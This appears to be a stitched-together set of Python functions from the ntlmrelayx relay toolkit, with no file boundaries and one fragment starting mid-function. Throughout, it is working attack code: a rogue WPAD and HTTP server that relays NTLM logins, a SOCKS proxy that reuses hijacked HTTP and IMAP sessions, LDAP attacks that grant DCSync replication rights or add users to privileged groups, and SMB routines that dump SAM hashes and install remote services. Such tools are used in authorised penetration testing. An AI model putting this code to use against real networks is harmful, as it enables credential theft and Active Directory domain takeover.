def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestHandler): LOG.info('SOCKS proxy started. Listening at port %d', server_address[1] ) self.activeRelays = {} self.socksPlugins = {} self.restAPI = None self.activeConnectionsWatcher = None self.supportedSchemes = [] SocketServer.TCPServer.allow_reuse_address = True SocketServer.TCPServer.__init__(self, server_address, handler_class) # Let's register the socksplugins plugins we have from nebulousAD.modimpacket.examples.ntlmrelayx.servers.socksplugins import SOCKS_RELAYS for relay in SOCKS_RELAYS: LOG.info('%s loaded..' % relay.PLUGIN_NAME) self.socksPlugins[relay.PLUGIN_SCHEME] = relay self.supportedSchemes.append(relay.PLUGIN_SCHEME) # Let's create a timer to keep the connections up. self.__timer = RepeatedTimer(KEEP_ALIVE_TIMER, keepAliveTimer, self) # Let's start our RESTful API self.restAPI = Thread(target=webService, args=(self, )) self.restAPI.daemon = True self.restAPI.start() # Let's start out worker for active connections self.activeConnectionsWatcher = Thread(target=activeConnectionsWatcher, args=(self, )) self.activeConnectionsWatcher.daemon = True self.activeConnectionsWatcher.start()
def findWritableShare(self, shares): # Check we can write a file on the shares, stop in the first one writeableShare = None for i in shares['Buffer']: if i['shi1_type'] == srvs.STYPE_DISKTREE or i[ 'shi1_type'] == srvs.STYPE_SPECIAL: share = i['shi1_netname'][:-1] tid = 0 try: tid = self.connection.connectTree(share) self.connection.openFile( tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) except: LOG.critical("share '%s' is not writable." % share) pass else: LOG.info('Found writable share %s' % share) writeableShare = str(share) break finally: if tid != 0: self.connection.disconnectTree(tid) return writeableShare
def run(self): while True: mtime = os.stat(self.targetprocessor.filename).st_mtime if mtime > self.lastmtime: LOG.info('Targets file modified - refreshing') self.lastmtime = mtime self.targetprocessor.readTargets() time.sleep(1.0)
def run(self): if self.config.queries is None: LOG.error('No SQL queries specified for MSSQL relay!') else: for query in self.config.queries: LOG.info('Executing SQL: %s' % query) self.client.sql_query(query) self.client.printReplies() self.client.printRows()
def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name + '\x00') except Exception, e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e
def copy_file(self, src, tree, dst): LOG.info("Uploading file %s" % dst) if isinstance(src, str): # We have a filename fh = open(src, 'rb') else: # We have a class instance, it must have a read method fh = src f = dst pathname = string.replace(f, '/', '\\') try: self.connection.putFile(tree, pathname, fh.read) except: LOG.critical("Error uploading file %s, aborting....." % dst) raise fh.close()
def addUserToGroup(self, userDn, domainDumper, groupDn): global alreadyEscalated # For display only groupName = groupDn.split(',')[0][3:] userName = userDn.split(',')[0][3:] # Now add the user as a member to this group res = self.client.modify(groupDn, {'member': [(ldap3.MODIFY_ADD, [userDn])]}) if res: LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName)) LOG.info('Privilege escalation succesful, shutting down...') alreadyEscalated = True thread.interrupt_main() else: LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))
def run(self): LOG.info("Setting up HTTP Server") if self.config.listeningPort: httpport = self.config.listeningPort else: httpport = 80 # changed to read from the interfaceIP set in the configuration self.server = self.HTTPServer((self.config.interfaceIp, httpport), self.HTTPHandler, self.config) try: self.server.serve_forever() except KeyboardInterrupt: pass LOG.info('Shutting down HTTP Server') self.server.server_close()
def getTarget(self, choose_random=False): if len(self.candidates) > 0: if choose_random is True: return random.choice(self.candidates) else: return self.candidates.pop() else: if len(self.originalTargets) > 0: self.candidates = [ x for x in self.originalTargets if x not in self.finishedAttacks ] else: #We are here, which means all the targets are already exhausted by the client LOG.info("All targets processed!") return self.candidates.pop()
def getShares(self): # Setup up a DCE SMBTransport with the connection already in place LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost())) try: self._rpctransport = transport.SMBTransport( self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.connection) dce_srvs = self._rpctransport.get_dce_rpc() dce_srvs.connect() dce_srvs.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce_srvs, 1) return resp['InfoStruct']['ShareInfo']['Level1'] except: LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost())) raise
def openSvcManager(self): LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) # Setup up a DCE SMBTransport with the connection already in place self._rpctransport = transport.SMBTransport( self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename=r'\svcctl', smb_connection=self.connection) self.rpcsvc = self._rpctransport.get_dce_rpc() self.rpcsvc.connect() self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR) try: resp = scmr.hROpenSCManagerW(self.rpcsvc) except: LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost()) raise Exception('Unable to open SVCManager') else: return resp['lpScHandle']
def writeRestoreData(self, restoredata, domaindn): output = {} domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] output['config'] = { 'server': self.client.server.host, 'domain': domain } output['history'] = [{ 'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username }] now = datetime.datetime.now() filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S") # Save the json to file with codecs.open(filename, 'w', 'utf-8') as outfile: json.dump(output, outfile) LOG.info('Saved restore state to %s', filename)
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob) [:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob auth = base64.b64encode(token) headers = {'Authorization': 'NTLM %s' % auth} self.session.request('GET', self.path, headers=headers) res = self.session.getresponse() if res.status == 401: return None, STATUS_ACCESS_DENIED else: LOG.info( 'HTTP server returned error code %d, treating as a successful login' % res.status) #Cache this self.lastresult = res.read() return None, STATUS_SUCCESS
def wrapClientConnection(self, cert='/tmp/impacket.crt'): # Create a context, we don't really care about the SSL/TLS # versions used since it is only intended for local use and thus # doesn't have to be super-secure ctx = SSL.Context(SSL.SSLv23_METHOD) try: ctx.use_privatekey_file(cert) ctx.use_certificate_file(cert) except SSL.Error: LOG.info( 'SSL requested - generating self-signed certificate in /tmp/impacket.crt' ) generateImpacketCert(cert) ctx.use_privatekey_file(cert) ctx.use_certificate_file(cert) sslSocket = SSL.Connection(ctx, self.socksSocket) sslSocket.set_accept_state() # Now set this property back to the SSL socket instead of the regular one self.socksSocket = sslSocket
def activeConnectionsWatcher(server): while True: # This call blocks until there is data, so it doesn't loop endlessly target, port, scheme, userName, client, data = activeConnections.get() # ToDo: Careful. Dicts are not thread safe right? if server.activeRelays.has_key(target) is not True: server.activeRelays[target] = {} if server.activeRelays[target].has_key(port) is not True: server.activeRelays[target][port] = {} if server.activeRelays[target][port].has_key(userName) is not True: LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port)) server.activeRelays[target][port][userName] = {} # This is the protocolClient. Needed because we need to access the killConnection from time to time. # Inside this instance, you have the session attribute pointing to the relayed session. server.activeRelays[target][port][userName]['protocolClient'] = client server.activeRelays[target][port][userName]['inUse'] = False server.activeRelays[target][port][userName]['data'] = data # Just for the CHALLENGE data, we're storing this general server.activeRelays[target][port]['data'] = data # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use server.activeRelays[target][port]['scheme'] = scheme # Default values in case somebody asks while we're gettting the data server.activeRelays[target][port][userName]['isAdmin'] = 'N/A' # Do we have admin access in this connection? try: LOG.debug("Checking admin status for user %s" % str(userName)) isAdmin = client.isAdmin() server.activeRelays[target][port][userName]['isAdmin'] = isAdmin except Exception as e: # Method not implemented server.activeRelays[target][port][userName]['isAdmin'] = 'N/A' pass LOG.debug("isAdmin returned: %s" % server.activeRelays[target][port][userName]['isAdmin']) else: LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port)) client.killConnection()
def sendNegotiate(self, negotiateMessage): #Check if server wants auth self.session.request('GET', self.path) res = self.session.getresponse() res.read() if res.status != 401: LOG.info( 'Status code returned: %d. Authentication does not seem required for URL' % res.status) try: if 'NTLM' not in res.getheader('WWW-Authenticate'): LOG.error( 'NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) return False except (KeyError, TypeError): LOG.error('No authentication requested by the server for url %s' % self.targetHost) return False #Negotiate auth negotiate = base64.b64encode(negotiateMessage) headers = {'Authorization': 'NTLM %s' % negotiate} self.session.request('GET', self.path, headers=headers) res = self.session.getresponse() res.read() try: serverChallengeBase64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from server')
def __init__(self,request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \ '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \ 'return "PROXY %s:80; DIRECT";} ' if self.server.config.mode != 'REDIRECT': if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) self.target = self.server.config.target.getTarget(self.server.config.randomtargets) LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc)) try: SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) except Exception, e: LOG.error(str(e)) LOG.debug(traceback.format_exc())
def uninstall(self): fileCopied = True serviceCreated = True # Do the stuff here try: # Let's get the shares svcManager = self.openSvcManager() if svcManager != 0: resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name + '\x00') service = resp['lpServiceHandle'] LOG.info('Stopping service %s.....' % self.__service_name) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass LOG.info('Removing service %s.....' % self.__service_name) scmr.hRDeleteService(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) LOG.info('Removing file %s.....' % self.__binary_service_name) self.connection.deleteFile(self.share, self.__binary_service_name) except Exception: LOG.critical("Error performing the uninstallation, cleaning up") try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass
def skipAuthentication(self): # See if the user provided authentication data = self.socksSocket.recv(self.packetSize) # Get headers from data headerDict = self.getHeaders(data) try: creds = headerDict['authorization'] if 'Basic' not in creds: raise KeyError() basicAuth = base64.b64decode(creds[6:]) self.username = basicAuth.split(':')[0].upper() if '@' in self.username: # Workaround for clients which specify users with the full FQDN # such as ruler user, domain = self.username.split('@', 1) # Currently we only use the first part of the FQDN # this might break stuff on tools that do use an FQDN # where the domain NETBIOS name is not equal to the part # before the first . self.username = '******' % (domain.split('.')[0], user) # Check if we have a connection for the user if self.activeRelays.has_key(self.username): # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error( 'HTTP: Connection for %s@%s(%s) is being used at the moment!' % (self.username, self.targetHost, self.targetPort)) return False else: LOG.info('HTTP: Proxying client session for %s@%s(%s)' % (self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[ self.username]['protocolClient'].session else: LOG.error('HTTP: No session for %s@%s(%s) available' % (self.username, self.targetHost, self.targetPort)) return False except KeyError: # User didn't provide authentication yet, prompt for it LOG.debug( 'No authentication provided, prompting for basic authentication' ) reply = [ 'HTTP/1.1 401 Unauthorized', 'WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"', 'Connection: close', '', '' ] self.socksSocket.send(EOL.join(reply)) return False # When we are here, we have a session # Point our socket to the sock attribute of HTTPConnection # (contained in the session), which contains the socket self.relaySocket = self.session.sock # Send the initial request to the server tosend = self.prepareRequest(data) self.relaySocket.send(tosend) # Send the response back to the client self.transferResponse() return True
def addComputer(self, parent, domainDumper): """ Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyAddedComputer if alreadyAddedComputer: LOG.error('New computer already added. Refusing to add another') return # Random password newPassword = ''.join( random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Get the domain we are in domaindn = domainDumper.root domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] # Random computername newComputer = ( ''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() computerHostname = newComputer[:-1] newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') # Default computer SPNs spns = [ 'HOST/%s' % computerHostname, 'HOST/%s.%s' % (computerHostname, domain), 'RestrictedKrbHost/%s' % computerHostname, 'RestrictedKrbHost/%s.%s' % (computerHostname, domain), ] ucd = { 'dnsHostName': '%s.%s' % (computerHostname, domain), 'userAccountControl': 4096, 'servicePrincipalName': spns, 'sAMAccountName': newComputer, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.debug('New computer info %s', ucd) LOG.info('Attempting to create computer in: %s', parent) res = self.client.add( newComputerDn.decode('utf-8'), ['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd) if not res: # Adding computers requires LDAPS if self.client.result[ 'result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error( 'Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.' ) else: LOG.error('Failed to add a new computer: %s' % str(self.client.result)) return False else: LOG.info( 'Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) alreadyAddedComputer = True # Return the SAM name return newComputer
def do_GET(self): messageType = 0 if self.server.config.mode == 'REDIRECT': self.do_SMBREDIRECT() return LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) # Serve WPAD if: # - The client requests it # - A WPAD host was provided in the command line options # - The client has not exceeded the wpad_auth_num threshold yet if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]): LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) self.serve_wpad() return # Determine if the user is connecting to our server directly or attempts to use it as a proxy if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'): proxy = True else: proxy = False if (proxy and self.headers.getheader('Proxy-Authorization') is None) or (not proxy and self.headers.getheader('Authorization') is None): self.do_AUTHHEAD(message = 'NTLM',proxy=proxy) pass else: if proxy: typeX = self.headers.getheader('Proxy-Authorization') else: typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD(message = 'NTLM', proxy=proxy) else: messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 1: if not self.do_ntlm_negotiate(token, proxy=proxy): #Connection failed LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', self.target.scheme, self.target.netloc) self.server.config.target.logTarget(self.target) self.do_REDIRECT() elif messageType == 3: authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if not self.do_ntlm_auth(token,authenticateMessage): if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: LOG.error("Authenticating against %s://%s as %s\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) else: LOG.error("Authenticating against %s://%s as %s\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))) # Only skip to next if the login actually failed, not if it was just anonymous login or a system account # which we don't want if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$': self.server.config.target.logTarget(self.target) # No anonymous login, go to next host and avoid triggering a popup self.do_REDIRECT() else: #If it was an anonymous login, send 401 self.do_AUTHHEAD('NTLM', proxy=proxy) else: # Relay worked, do whatever we want here... if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) else: LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))) ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.config.outputFile is not None: writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) self.server.config.target.logTarget(self.target, True, self.authUser) self.do_attack() # And answer 404 not found self.send_response(404) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Content-Length','0') self.send_header('Connection','close') self.end_headers() return
# Should return whether or not the user is admin in the form of a string (e.g. "TRUE", "FALSE") # Depending on the protocol, different techniques should be used. # By default, raise exception raise RuntimeError('Virtual Function') for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'clients'): if file.find('__') >= 0 or os.path.splitext(file)[1] == '.pyc': continue __import__(__package__ + '.' + os.path.splitext(file)[0]) module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]] try: pluginClasses = set() try: if hasattr(module, 'PROTOCOL_CLIENT_CLASSES'): for pluginClass in module.PROTOCOL_CLIENT_CLASSES: pluginClasses.add(getattr(module, pluginClass)) else: pluginClasses.add( getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS'))) except Exception, e: LOG.debug(e) pass for pluginClass in pluginClasses: LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME) PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass except Exception, e: LOG.debug(str(e))
def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() # Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) # If specified validate the user's privileges. This might take a while on large domains but will # identify the proper containers for escalating via the different techniques. if self.config.validateprivs: LOG.info( 'Enumerating relayed user\'s privileges. This may take a while on large domains' ) userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info( 'User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL') # If validation of privileges is not desired, we assumed that the user has permissions to escalate # an existing user via ACL attacks. else: LOG.info( 'Assuming relayed user has privileges to escalate a user via ACL attack' ) privs = {} privs['create'] = False privs['aclEscalate'] = True privs['escalateViaGroup'] = False # We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error( 'Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error( 'Unable to escalate without a valid user, aborting.') return # Perform the ACL attack self.aclAttack(userDn, domainDumper) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error( 'Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error( 'Unable to escalate without a valid user, aborting.') return # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': self.delegateAttack(self.config.escalateuser, self.username, domainDumper) return # Add a new computer if that is requested # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota if self.config.addcomputer: self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) return # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search( domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append( create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append( create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.info( 'Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)') # Query the SD again to see what AD made of it self.client.search( domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
class SMBAttack(ProtocolAttack): """ This is the SMB default attack class. It will either dump the hashes from the remote target, or open an interactive shell if the -i option is specified. """ PLUGIN_NAMES = ["SMB"] def __init__(self, config, SMBClient, username): ProtocolAttack.__init__(self, config, SMBClient, username) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.__answerTMP = '' if self.config.interactive: #Launch locally listening interactive shell self.tcpshell = TcpShell() else: self.tcpshell = None if self.config.exeFile is not None: self.installService = serviceinstall.ServiceInstall( SMBClient, self.config.exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info( 'Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from nebulousAD.modimpacket.examples.secretsdump import RemoteOperations, SAMHashes from nebulousAD.modimpacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer( ).get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags( flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: if "rpc_s_access_denied" in str( e): # user doesn't have correct privileges if self.config.enumLocalAdmins: LOG.info( u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do..." .format( self.__SMBConnection.getRemoteHost().encode( self.config.encoding))) enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) try: localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins( ) LOG.info( u"Host {} has the following local admins (hint: try relaying one of them here...)" .format(self.__SMBConnection.getRemoteHost(). encode(self.config.encoding))) for name in localAdminNames: LOG.info( u"Host {} local admin member: {} ".format( self.__SMBConnection.getRemoteHost(). encode(self.config.encoding), name)) except DCERPCException, e: LOG.info("SAMR access denied") return # Something else went wrong. aborting LOG.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote( self.config.command) LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print self.__answerTMP.decode(self.config.encoding, 'replace') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote=True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost() + '_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: LOG.error(str(e))
def skipAuthentication(self): self.socksSocket.sendall('* OK The Microsoft Exchange IMAP4 service is ready.'+EOL) # Next should be the client requesting CAPABILITIES tag, cmd = self.recvPacketClient() if cmd.upper() == 'CAPABILITY': clientcapabilities = list(self.getServerCapabilities()) # Don't offer these AUTH options so the client won't use them blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED'] for cap in blacklist: if cap in clientcapabilities: clientcapabilities.remove(cap) # Offer PLAIN auth for specifying the username if 'AUTH=PLAIN' not in clientcapabilities: clientcapabilities.append('AUTH=PLAIN') # Offer LOGIN for specifying the username if 'LOGIN' not in clientcapabilities: clientcapabilities.append('LOGIN') LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities)) self.socksSocket.sendall('* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL)) else: LOG.error('IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd) return False # next tag, cmd = self.recvPacketClient() args = cmd.split(' ') if cmd.upper() == 'AUTHENTICATE PLAIN': # Send continuation command self.socksSocket.sendall('+'+EOL) # Client will now send their AUTH data = self.socksSocket.recv(self.packetSize) # This contains base64(\x00username\x00password), decode and split creds = base64.b64decode(data.strip()) self.username = creds.split('\x00')[1].upper() elif args[0].upper() == 'LOGIN': # Simple login self.username = args[1].upper() else: LOG.error('IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd) return False # Check if we have a connection for the user if self.activeRelays.has_key(self.username): # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error('IMAP: Connection for %s@%s(%s) is being used at the moment!' % ( self.username, self.targetHost, self.targetPort)) return False else: LOG.info('IMAP: Proxying client session for %s@%s(%s)' % ( self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[self.username]['protocolClient'].session else: LOG.error('IMAP: No session for %s@%s(%s) available' % ( self.username, self.targetHost, self.targetPort)) return False # We arrived here, that means all is OK self.socksSocket.sendall('%s OK %s completed.%s' % (tag, args[0].upper(), EOL)) self.relaySocket = self.session.sock self.relaySocketFile = self.session.file return True
